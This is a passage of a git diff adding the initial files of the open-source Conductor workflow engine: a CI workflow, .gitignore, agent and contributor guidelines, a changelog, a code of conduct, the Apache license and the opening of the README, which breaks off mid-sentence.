+ +on: + pull_request: + branches: + - main + paths: + - "ui-next/**" + push: + branches: + - main + paths: + - "ui-next/**" + +permissions: + contents: read + +jobs: + e2e-integration: + name: E2E (Integration) + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v7 + + - name: Free disk space + run: | + sudo rm -rf /usr/share/dotnet + sudo rm -rf /usr/local/lib/android + sudo rm -rf /opt/ghc + sudo rm -rf /usr/local/share/boost + sudo apt-get clean + + - name: Setup pnpm + uses: pnpm/action-setup@v6 + with: + version: 10.32.0 + + # setup-node must come after pnpm/action-setup so it can locate the store. + - name: Setup Node.js + uses: actions/setup-node@v6 + with: + node-version: 22 + cache: pnpm + cache-dependency-path: ui-next/pnpm-lock.yaml + + - name: Install dependencies + run: pnpm install --frozen-lockfile + working-directory: ui-next + + - name: Cache Playwright browsers + id: playwright-cache + uses: actions/cache@v5 + with: + path: ~/.cache/ms-playwright + key: ${{ runner.os }}-playwright-chromium-${{ hashFiles('ui-next/pnpm-lock.yaml') }} + + - name: Install Playwright browsers + if: steps.playwright-cache.outputs.cache-hit != 'true' + run: pnpm exec playwright install chromium + working-directory: ui-next + + # OS-level dependencies (apt packages) cannot be cached — always install. + - name: Install Playwright OS dependencies + run: pnpm exec playwright install-deps chromium + working-directory: ui-next + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v4 + + - name: Cache Docker layers for conductor:server + uses: actions/cache@v5 + with: + path: /tmp/.buildx-cache + key: ${{ runner.os }}-conductor-server-${{ hashFiles('docker/server/Dockerfile', '**/build.gradle', 'settings.gradle') }} + restore-keys: ${{ runner.os }}-conductor-server- + + - name: Build conductor:server Docker image + uses: docker/build-push-action@v7 + with: + context: . + file: docker/server/Dockerfile + tags: conductor:server + load: true + cache-from: type=local,src=/tmp/.buildx-cache + cache-to: type=local,dest=/tmp/.buildx-cache-new,mode=min + + - name: Move Docker layer cache + run: | + rm -rf /tmp/.buildx-cache + mv /tmp/.buildx-cache-new /tmp/.buildx-cache + + - name: Run integration E2E tests + run: pnpm test:e2e:integration + working-directory: ui-next + + - name: Upload Playwright integration report + uses: actions/upload-artifact@v7 + if: failure() + with: + name: playwright-integration-report + path: ui-next/playwright-integration-report/ + retention-days: 7 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..537a69c --- /dev/null +++ b/.gitignore @@ -0,0 +1,58 @@ +# Worktrees +.worktrees/ + +# Java Build +.gradle +.classpath +dump.rdb +out +bin +target +buildscan.log +/docs/site + +# Python +/polyglot-clients/python/conductor.egg-info +*.pyc + +# OS & IDE +.DS_Store +.settings +.vscode +.idea +.project +*.iml + +# JS & UI Related +node_modules +/ui/build +/ui/public/monaco-editor + +# publishing secrets +secrets/signing-key + +# local builds +lib/ +build/ +*/build/ + +# asdf version file +.tool-versions + +# jenv version file +.java-version + + +.qodo +conductorosstest.db +conductorosstest.db +yarn.lock +.java-version +/server/src/main/resources/static +*.factorypath +server/*.db* +/site +*.db +*.db-shm +*.db-wal +docs/superpowers diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000..1224c90 --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,178 @@ +# AGENTS.md + +Instructions for AI coding agents working on the Conductor codebase. + +## Project Overview + +Conductor is an open-source, distributed workflow orchestration engine designed for microservices. +It uses a pluggable architecture with interface-based abstractions for persistence, queuing, and indexing. +The project is built with Java 21 and uses Gradle as the build system. + +## Setup Commands + +| Command | Description | +|---------|-------------| +| `./gradlew build` | Build the entire project | +| `./gradlew test` | Run all tests | +| `./gradlew :module-name:test` | Run tests for a specific module | +| `./gradlew spotlessApply` | Apply code formatting | +| `./gradlew clean build` | Clean and rebuild | + +> **Important**: Always run `./gradlew spotlessApply` after making code changes to ensure consistent formatting. + +## Java Version References + +**Never link to a specific Java distribution** (e.g., Adoptium, Temurin, OpenJDK.org, Amazon Corretto) in docs, READMEs, or comments. Just say "Java 21+" and let users install it however they prefer. + +## Code Style + +- Use the Spotless plugin for uniform code formatting—always run before committing +- Conductor is pluggable: when introducing new concepts, always use an **interface-based approach** +- DAO interfaces **MUST** be defined in the `core` module +- Implementation classes go in their respective persistence modules (e.g., `postgres-persistence`, `redis-persistence`) +- Follow existing patterns in the codebase for consistency +- Do not use emojis such as ✅ in the code, logs, or comments. Keep comments professionals +- When adding new logic, comment the algorithm, design etc. + +## Architecture Guidelines + +### Module Structure + +- **core**: Contains interfaces, domain models, and core business logic +- **persistence modules**: Implementations of DAO interfaces (postgres, redis, mysql, etc.) +- **server**: Spring Boot application that brings everything together +- **client**: SDK for interacting with Conductor +- **ui**: React-based user interface + +### Key Patterns + +- DAOs are defined as interfaces in `core` and implemented in persistence modules +- System tasks extend `WorkflowSystemTask` and are registered via Spring +- Worker tasks use the `@WorkerTask` annotation for automatic discovery +- Configuration is primarily done through Spring properties + +## Testing + +- **Avoid mocks**: Use real implementations whenever possible +- **Test actual behavior**: Tests must verify real implementation logic, not duplicate it +- **Use Testcontainers**: For database, cache, and other external dependencies +- **Cover concurrency**: Ensure multi-threading scenarios are tested +- **Run tests before submitting**: `./gradlew test` must pass + +### Test Locations + +- Unit tests: `src/test/java` in each module +- Integration tests: `test-harness` module and `*-integration-test` modules +- E2E tests: `e2e` module + +## PR Guidelines + +- Submit PRs against the `main` branch +- Use clear, descriptive commit messages +- Run `./gradlew spotlessApply` and `./gradlew test` before pushing +- Add or update tests for any code changes +- Keep PRs focused—one logical change per PR + +## Dependency Pinning + +Some dependencies have hard version constraints that **must not be auto-bumped**. These are marked with: + +```groovy +// PINNED (#964): +``` + +The issue number links back to https://github.com/conductor-oss/conductor/issues/964, which documents the full audit and upgrade path for each constraint. + +### What PINNED means + +`// PINNED (#964):` means the version is intentionally locked and upgrading it without understanding the constraint will break the build or cause a runtime failure. Do not bump a PINNED dependency as part of routine dependency updates or refactoring. + +### Current hard pins + +| Dependency | Pinned at | Why | +|---|---|---| +| `com.google.protobuf:protobuf-java` | `3.x` | 4.x + GraalVM polyglot 25.x causes Gradle to require `polyglot4`, which does not exist on Maven Central | +| `com.google.protobuf:protoc` | `3.25.5` | Must match `grpc-protobuf:1.73.0`, which depends on protobuf-java 3.x | +| `org.graalvm.*` (all 5 artifacts) | same version | All must share one version — mixing causes a `"polyglot version X not compatible with Truffle Y"` runtime error | +| `redis.clients:jedis` in `redis-concurrency-limit` | `3.6.0` | `revJedis` (6.0.0) does not work with Spring Data Redis in that module | +| `org.codehaus.jettison:jettison` | `strictly 1.5.4` | Gradle `strictly` constraint — no higher version has been validated | +| `org.conductoross:conductor-client` in `test-harness` | `5.0.1` | Fat JAR classpath conflict with conductor-common; resolved via a stripped JAR task | +| `org.awaitility:awaitility` in functional tests | `4.x` | e2e tests call `pollInterval(Duration)` added in Awaitility 4.0 | + +### Before bumping a PINNED dependency + +1. Read the comment carefully — it will name the incompatibility and often link to an upstream issue. +2. Check whether the upstream blocker has been resolved (e.g., new grpc-java release, new GraalVM release). +3. Test locally: `./gradlew clean build` plus `./gradlew test` in the affected modules. +4. If bumping GraalVM, bump **all five** `org.graalvm.*` artifacts together using `revGraalVM` in `dependencies.gradle`. +5. Update or remove the `// PINNED` comment once the constraint is lifted. + +### PINNED vs. version floors + +Hard caps use `// PINNED (#964):`. Version floors — where a minimum is enforced but higher versions are always welcome — use one of two lowercase prefixes instead: + +```groovy +// Security: CVE-2025-12183 — lz4-java minimum patched version +// Compat: commons-lang3 3.18.0+ required by Testcontainers/commons-compress +``` + +- `// Security:` — minimum set to address a CVE or known vulnerability +- `// Compat:` — minimum set for compatibility with another library or framework + +These are grep-able (`grep "// Security:" **/*.gradle`, `grep "// Compat:" **/*.gradle`) but read as normal developer comments. Dependabot may raise these freely; no special review needed beyond the usual. + +## Security Considerations + +- Never commit secrets, API keys, or credentials +- Be cautious with external dependencies—prefer well-maintained libraries +- Follow secure coding practices for input validation and error handling +- Review [SECURITY.md](SECURITY.md) for vulnerability reporting procedures + +## Writing Documentation + +Documentation in this project is **derived from source**, not composed from memory. Open the source first, read what's there, then write the doc from what you find. The source is the spec; the doc is a rendering of it. + +This matters because plausible-looking docs can be silently wrong. Concretely: a curl equivalent for `conductor workflow start --sync` was once written as `POST /api/workflow/{name}/run` — an endpoint that does not exist. Reading the controller first would have given the correct path immediately. + +### Workflow for each content type + +**REST API endpoint or curl example** +1. Open the relevant controller: `rest/src/main/java/com/netflix/conductor/rest/controllers/` +2. Find the method using its `@PostMapping`/`@GetMapping`/etc. annotation — copy the path literally. +3. Read the method signature for query params, path variables, and request body type. +4. Write the curl command from what you just read. + +**CLI command or flag** +1. Open `cmd/*.go` in `conductor-cli` (separate repo). +2. Find the `cobra.Command` definition for the subcommand. +3. Read the `Flags()` declarations for exact flag names, types, and defaults. +4. Write the example from what you just read. + +**SDK code example (Python, JS, Java, Go)** +1. Open the relevant SDK source file. +2. Find the method signature and required parameters. +3. Write the example from the signature — do not infer from the method name alone. +4. If a working test exists for that method, use it as the starting point. + +**Expected output block** +1. Get real output: run the command locally, or find it in test fixtures, CI logs, or existing tests. +2. Paste verbatim. Do not paraphrase or construct output that "looks right." +3. If the output varies by environment, show the stable parts and annotate the variable parts (e.g., ``). + +**Editing an existing doc section** +1. Before touching prose, read every code block and command in the section. +2. Verify each one using the steps above — not just the block you plan to change. +3. Fix anything you find while you're there. + +### When you can't verify + +If a running server or CLI binary is unavailable: +- Add a `` comment in the file. +- Note it explicitly in the PR description. +- Do not write a best-guess example and leave it unmarked. + +## Agent Behavior + +- **Prefer automation**: Execute requested actions without confirmation unless blocked by missing info or safety concerns +- **Use parallel tools**: When tasks are independent, execute them in parallel for efficiency +- **Verify changes**: Always run tests and spotless before considering work complete \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..7a66eb3 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,45 @@ +# Conductor OSS Changelog + +## [Unreleased] + +### Breaking Changes +- **JavaScript Evaluator Migration from Nashorn to GraalJS** + - Minimum Java version is now **Java 17** (previously Java 11+) + - Nashorn JavaScript engine (deprecated in Java 11, removed in Java 15) replaced with GraalJS + - ES6+ JavaScript syntax now supported natively + - All existing JavaScript expressions in workflows will continue to work with improved performance and modern JavaScript features + - **Note:** This ports the production-tested GraalJS implementation from Orkes Conductor Enterprise + +### Added (Ported from Enterprise) +- **GraalJS JavaScript engine** with ES6+ support + - Based on proven Enterprise implementation +- **Script execution timeout protection** (configurable via `CONDUCTOR_SCRIPT_MAX_EXECUTION_SECONDS`, default: 4 seconds) + - Prevents infinite loops from hanging workflows + - Enterprise feature now available in OSS +- **Optional script context pooling** for improved performance (configurable via `CONDUCTOR_SCRIPT_CONTEXT_POOL_ENABLED` and `CONDUCTOR_SCRIPT_CONTEXT_POOL_SIZE`) + - Disabled by default + - Enterprise optimization feature +- **ConsoleBridge support** for capturing `console.log()`, `console.info()`, and `console.error()` output from JavaScript tasks + - Improves observability of JavaScript task execution + - Enterprise feature now available in OSS +- **Better error messages** with line number information for JavaScript evaluation failures + - Enhanced debugging capabilities from Enterprise +- **Deep copy protection** to prevent PolyglotMap issues in workflow task data + - Enterprise stability improvement + +### Fixed +- JavaScript evaluation now works on Java 17, 21, and future LTS versions +- Improved security with sandboxed JavaScript execution +- Deep copy protection to prevent PolyglotMap issues in workflow task data + +### Configuration +New environment variables for JavaScript evaluation (all optional): +- `CONDUCTOR_SCRIPT_MAX_EXECUTION_SECONDS` - Maximum script execution time (default: 4) +- `CONDUCTOR_SCRIPT_CONTEXT_POOL_SIZE` - Context pool size when enabled (default: 10) +- `CONDUCTOR_SCRIPT_CONTEXT_POOL_ENABLED` - Enable context pooling (default: false) + +### Migration Notes +- Update your deployment environment to **Java 17 or higher** +- No changes required to existing workflows - all JavaScript expressions remain compatible +- Modern JavaScript features (const, let, arrow functions, template literals, etc.) are now available +- `CONDUCTOR_NASHORN_ES6_ENABLED` environment variable is no longer needed (ES6+ supported by default) diff --git a/CLAUDE.md b/CLAUDE.md new file mode 100644 index 0000000..bc277c8 --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1,58 @@ +# CLAUDE.md — conductor (server repo) + +Instructions for Claude Code working in this repository. + +## Writing Documentation + +Documentation in this project is **derived from source**, not composed from memory or intuition. The workflow is: open the source → read what's there → write the doc from what you find. The source is the spec; the doc is a rendering of it. + +Concrete reason this matters: a curl equivalent for `conductor workflow start --sync` was once written as `POST /api/workflow/{name}/run` — an endpoint that does not exist. Opening `WorkflowResource.java` first would have given the correct path (`POST /api/workflow/execute/{name}/{version}`) immediately. + +### For each content type, start here + +**REST endpoint or curl example** +1. Open the controller: `rest/src/main/java/com/netflix/conductor/rest/controllers/` +2. Find the method by its `@PostMapping`/`@GetMapping` annotation — copy the path literally. +3. Read the method signature for query params, path variables, and request body. +4. Write the curl from what you just read. + +**CLI command or flag** +1. Open `conductor-cli/cmd/*.go` (separate repo under this workspace). +2. Find the `cobra.Command` for the subcommand and read its `Flags()` declarations. +3. Write the example from what you just read — flag names, types, and defaults. + +**SDK code example (Python, JS, Java, Go)** +1. Open the SDK source file for the method you're documenting. +2. Read the method signature and required parameters. +3. If a working test exists for that method, use it as the starting point. +4. Write from the signature — do not infer from the method name alone. + +**Expected output block** +1. Get real output: run the command, or find it in test fixtures or CI logs. +2. Paste verbatim. Do not construct output that "looks right." +3. For variable fields (IDs, timestamps), use annotated placeholders like ``. + +**Editing an existing section** +- Before changing anything, read every code block and command in the section. +- Verify each one using the steps above, not just the block you plan to change. +- Fix anything you find while you're there. + +### When you can't verify + +If a running server or CLI is unavailable: +- Add `` in the file. +- Note it explicitly in the PR description. +- Do not write an unverified example and leave it unmarked. + +### Key source locations + +| Content | Where to look | +|---|---| +| REST API routes | `rest/src/main/java/com/netflix/conductor/rest/controllers/` | +| Workflow sync execution | `WorkflowResource.java` → `executeWorkflow()` at `@PostMapping("execute/{name}/{version}")` | +| Task routes | `TaskResource.java` | +| CLI subcommands and flags | `conductor-cli/cmd/workflow.go`, `cmd/task.go`, etc. | + +## Other Guidelines + +See [AGENTS.md](AGENTS.md) for full project conventions: code style, testing, dependency pinning, PR guidelines. diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..33d0b4d --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,62 @@ +# Code of Conduct + +Hello valued community members! 👋 + +Our Conductor community has grown tremendously, and as part of ensuring a harmonious experience for everyone, +we've outlined some guidelines that we'd love for all members to uphold. +Our community thrives when everyone engages with kindness, respect, and a collaborative spirit. Here's what we hope to see: + + +### 1. Maintain a Positive Tone. +Every interaction is an opportunity to lift someone up. Let's ensure our words and actions reflect optimism and encouragement. + +### 2. Be Respectful to the Community +Every member here comes with a unique background and perspective. Please honor those differences by being courteous, considerate, and open-minded. +Remember, mutual respect is the foundation of a thriving community. Be careful in the words that you choose. +We are a community of professionals, and we conduct ourselves professionally. +Be kind to others. Do not insult or put down other participants. Harassment and other exclusionary behaviors aren't acceptable. +This includes, but is not limited to: +* Violent threats or language directed against another person Discriminatory jokes and language +* Posting sexualized language or imagery +* Posting (or threatening to post) other people's personally identifying information (“doxing”) +* Personal insults, especially those using racist or sexist terms +* Unwelcome sexual attention +* Advocating for, or encouraging, any of the above behavior +* Repeated harassment of others. In general, if someone asks you to stop, then stop + +### 3. Preserve Our Community's Unity +We understand that as we grow, there might be differing opinions and interests. +However, we kindly request not to create splinter groups or fork out the community. +Let's work through our differences and continue building this space together. + +### 4. Focus on Constructive Discussions +We all have moments of frustration, but let's express ourselves in ways that are constructive. +Avoid comments that could come off as sarcastic, condescending, or disdainful. +Remember, it's always possible to give feedback or express disagreement without belittling others. +We are here to learn from each other and make Conductor the best platform out there. +A big part of that are the exchanges of ideas and approaches that are grounded in data and sound reasoning. +We kindly request that you adhere to that pattern and be thoughtful and responsible in your discussions. +This also means that you are required to have discussions focused on the community and not on promotion of any services, products or goods. + +### 5. When we disagree, try to understand why. +Disagreements, both social and technical, happen all the time and this community is no exception. +It is important that we resolve disagreements and differing views constructively. +Remember that we’re all different. The strength of this community comes from its varied community of people from a wide range of backgrounds. +Different people have different perspectives on issues. Being unable to understand why someone holds a viewpoint doesn’t mean that they’re wrong. +Don’t forget that it is human to err and blaming each other doesn’t get us anywhere. +Instead, focus on helping to resolve issues and learning from mistakes. +Our community's strength lies in our collective spirit. +By following these guidelines, we ensure that our community remains an inspiring, respectful, and welcoming place for everyone. +If you have any concerns or suggestions or if you need to report on any behavior that violates this Code of Conduct, please feel free to reach out to the admins - community@orkes.io. +Let's continue to support and uplift each other! + +### Enforcement +We have a variety of ways of enforcing the code of conduct, including, but not limited to +* Asking you nicely to knock it off +* Asking you less nicely +* Temporary or permanent suspension of the account +* Removal of privileges and/or adding restrictions to the account +* Removal of content +* Banning from the community + +Thank you, \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..b3f25bc --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,60 @@ +# Contributing +Thanks for your interest in Conductor! +This guide helps to find the most efficient way to contribute, ask questions, and report issues. + +Code of conduct +----- + +Please review our [Code of Conduct](CODE_OF_CONDUCT.md) + +I have a question! +----- + +We have a dedicated [Slack](https://join.slack.com/t/orkes-conductor/shared_invite/zt-3dpcskdyd-W895bJDm8psAV7viYG3jFA#/shared-invite/email) channel for asking "how to" questions and to discuss ideas. The channel is a great place to start if you're considering creating a feature request or work on a Pull Request. +*Please do not create issues to ask questions.* + +I want to contribute! +------ + +We welcome Pull Requests and already have many outstanding community contributions! +Creating and reviewing Pull Requests takes time, so this section helps you to set up a smooth Pull Request experience. + +The stable branch is [main](https://github.com/conductor-oss/conductor/tree/main). + +Please create pull requests for your contributions against [main](https://github.com/conductor-oss/conductor/tree/main) only. + +It's a great idea to discuss the new feature you're considering in the [Slack channel](https://join.slack.com/t/orkes-conductor/shared_invite/zt-3dpcskdyd-W895bJDm8psAV7viYG3jFA#/shared-invite/email) before writing any code. There are often different ways you can implement a feature. Getting some discussion about different options helps shape the best solution. When starting directly with a Pull Request, there is the risk of having to make considerable changes. Sometimes that is the best approach, though! Showing an idea with code can be very helpful; be aware that it might be throw-away work. Some of our best Pull Requests came out of multiple competing implementations, which helped shape it to perfection. + +Also, consider that not every feature is a good fit for Conductor. A few things to consider are: + +* Is it increasing complexity for the user, or might it be confusing? +* Does it, in any way, break backward compatibility (this is seldom acceptable) +* Does it require new dependencies (this is rarely acceptable for core modules) +* Should the feature be opt-in or enabled by default. For integration with a new Queuing recipe or persistence module, a separate module which can be optionally enabled is the right choice. +* Should the feature be implemented in the main Conductor repository, or would it be better to set up a separate repository? Especially for integration with other systems, a separate repository is often the right choice because the life-cycle of it will be different. +* Is it part of the Conductor project roadmap? + +Of course, for more minor bug fixes and improvements, the process can be more light-weight. + +We'll try to be responsive to Pull Requests. Do keep in mind that because of the inherently distributed nature of open source projects, responses to a PR might take some time because of time zones, weekends, and other things we may be working on. + +I want to report an issue +----- + +If you found a bug, please create an issue at https://github.com/conductor-oss/conductor/issues/new. Include clear instructions on how to reproduce the issue, or even better, include a test case on a branch. Make sure to come up with a descriptive title for the issue because this helps while organizing issues. + +I have a great idea for a new feature +---- +Many features in Conductor have come from ideas from the community. If you think something is missing or certain use cases could be supported better, let us know! + +You can do so by starting a discussion in the [Slack channel](https://join.slack.com/t/orkes-conductor/shared_invite/zt-3dpcskdyd-W895bJDm8psAV7viYG3jFA#/shared-invite/email). Provide as much relevant context to why and when the feature would be helpful. Providing context is especially important for "Support XYZ" issues since we might not be familiar with what "XYZ" is and why it's useful. If you have an idea of how to implement the feature, include that as well. + +Once we have decided on a direction, it's time to summarize the idea by creating a new issue. + +## Code Style +We use [spotless](https://github.com/diffplug/spotless) to enforce consistent code style for the project, so make sure to run `gradlew spotlessApply` to fix any violations after code changes. + +## License +All files are released with the [Apache 2.0 license](LICENSE). + + diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..78ae7ea --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ +Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright {yyyy} Orkes, Inc. + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/OSSMETADATA b/OSSMETADATA new file mode 100644 index 0000000..b96d4a4 --- /dev/null +++ b/OSSMETADATA @@ -0,0 +1 @@ +osslifecycle=active diff --git a/README.md b/README.md new file mode 100644 index 0000000..e02a841 --- /dev/null +++ b/README.md @@ -0,0 +1,396 @@ + + + + + + Logo + + + +

+ Conductor - Internet scale Agentic Workflow Engine +

+ + +[![GitHub stars](https://img.shields.io/github/stars/conductor-oss/conductor?style=social)](https://github.com/conductor-oss/conductor/stargazers) +[![Github release](https://img.shields.io/github/v/release/conductor-oss/conductor.svg)](https://github.com/conductor-oss/conductor/releases) +[![License](https://img.shields.io/github/license/conductor-oss/conductor.svg)](http://www.apache.org/licenses/LICENSE-2.0) +[![Conductor Slack](https://img.shields.io/badge/Slack-Join%20the%20Community-blueviolet?logo=slack)](https://join.slack.com/t/orkes-conductor/shared_invite/zt-3dpcskdyd-W895bJDm8psAV7viYG3jFA) +[![Conductor OSS](https://img.shields.io/badge/Conductor%20OSS-Visit%20Site-blue)](https://conductor-oss.org) + +#### Orchestrating distributed systems means wrestling with failures, retries, and state recovery. Conductor handles all of that so you don't have to. + +Conductor is an open-source, durable workflow engine built at [Netflix](https://netflixtechblog.com/netflix-conductor-a-microservices-orchestrator-2e8d4771bf40) for orchestrating microservices, AI agents, and durable workflows at internet scale. Trusted in production at Netflix, Tesla, LinkedIn, and J.P. Morgan. Actively maintained by [Orkes](https://orkes.io) and a growing [community](https://join.slack.com/t/orkes-conductor/shared_invite/zt-3dpcskdyd-W895bJDm8psAV7viYG3jFA). + +[![conductor_oss_getting_started](https://github.com/user-attachments/assets/6153aa58-8ad1-4ec5-93d1-38ba1b83e3f4)](https://youtu.be/4azDdDlx27M) + +--- + +# Get Running in 60 Seconds + +**Prerequisites:** [Node.js](https://nodejs.org/) v16+ and Java 21+ must be installed. + +```shell +npm install -g @conductor-oss/conductor-cli +conductor server start +``` + +Open [http://localhost:8080](http://localhost:8080) — your server is running with the built-in ui-next UI. + +> **Upgrading from a previous version?** The CLI caches the server JAR at `~/.conductor-cli/`. If you have an older version cached, force a fresh download: +> ```shell +> conductor server start latest +> # or delete the cache manually +> rm ~/.conductor-cli/conductor-server-latest.jar && conductor server start +> ``` + +**Run your first workflow:** + +```shell +# Create a workflow that calls an API and parses the response — no workers needed +curl -s https://raw.githubusercontent.com/conductor-oss/conductor/main/docs/quickstart/workflow.json -o workflow.json +conductor workflow create workflow.json +``` + +> **Note:** Running this command twice will return an error on the second call — the workflow already exists. This is expected behavior. Use `conductor workflow update` to modify an existing workflow. + +```shell +conductor workflow start -w hello_workflow --sync +``` + +See the [Quickstart guide](https://docs.conductor-oss.org/quickstart/) for the full walkthrough, including writing workers and replaying workflows. + +**Docker Image for Conductor** (includes the ui-next UI): + +```shell +# UI at http://localhost:5000 | API at http://localhost:8080 +docker run -p 5000:5000 -p 8080:8080 conductoross/conductor:next +``` + +All CLI commands have equivalent cURL/API 